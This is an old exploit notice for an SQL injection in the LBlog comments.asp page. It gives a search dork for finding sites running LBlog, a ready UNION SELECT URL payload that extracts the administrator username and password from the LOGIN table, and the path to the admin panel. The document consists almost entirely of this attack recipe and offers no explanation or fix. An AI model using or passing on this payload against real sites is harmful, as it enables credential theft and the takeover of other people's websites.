Rated as : Moderate Risk
################################################################################
##
##
## LBlog <= "comments.asp" SQL Injection Exploit
##
## - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
##
## Credit by | Chironex Fleckeri
##
## Mail | ChironeX.FleckeriX@Gmail.Com
##
## Googledork | Powered By LBlog
##
## - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
##
##
##
################################################################################
###################################################################################################################
#Usage : http://www.target.com/path/comments.asp?id=-1 UNION SELECT
0,username,password,3,4+FROM+LOGIN+WHERE+ID=1 #
###################################################################################################################
#################################################
#Admin Panel : http://www.target.com/path/admin #
################################################# securitydot.net - 2006-08-20
|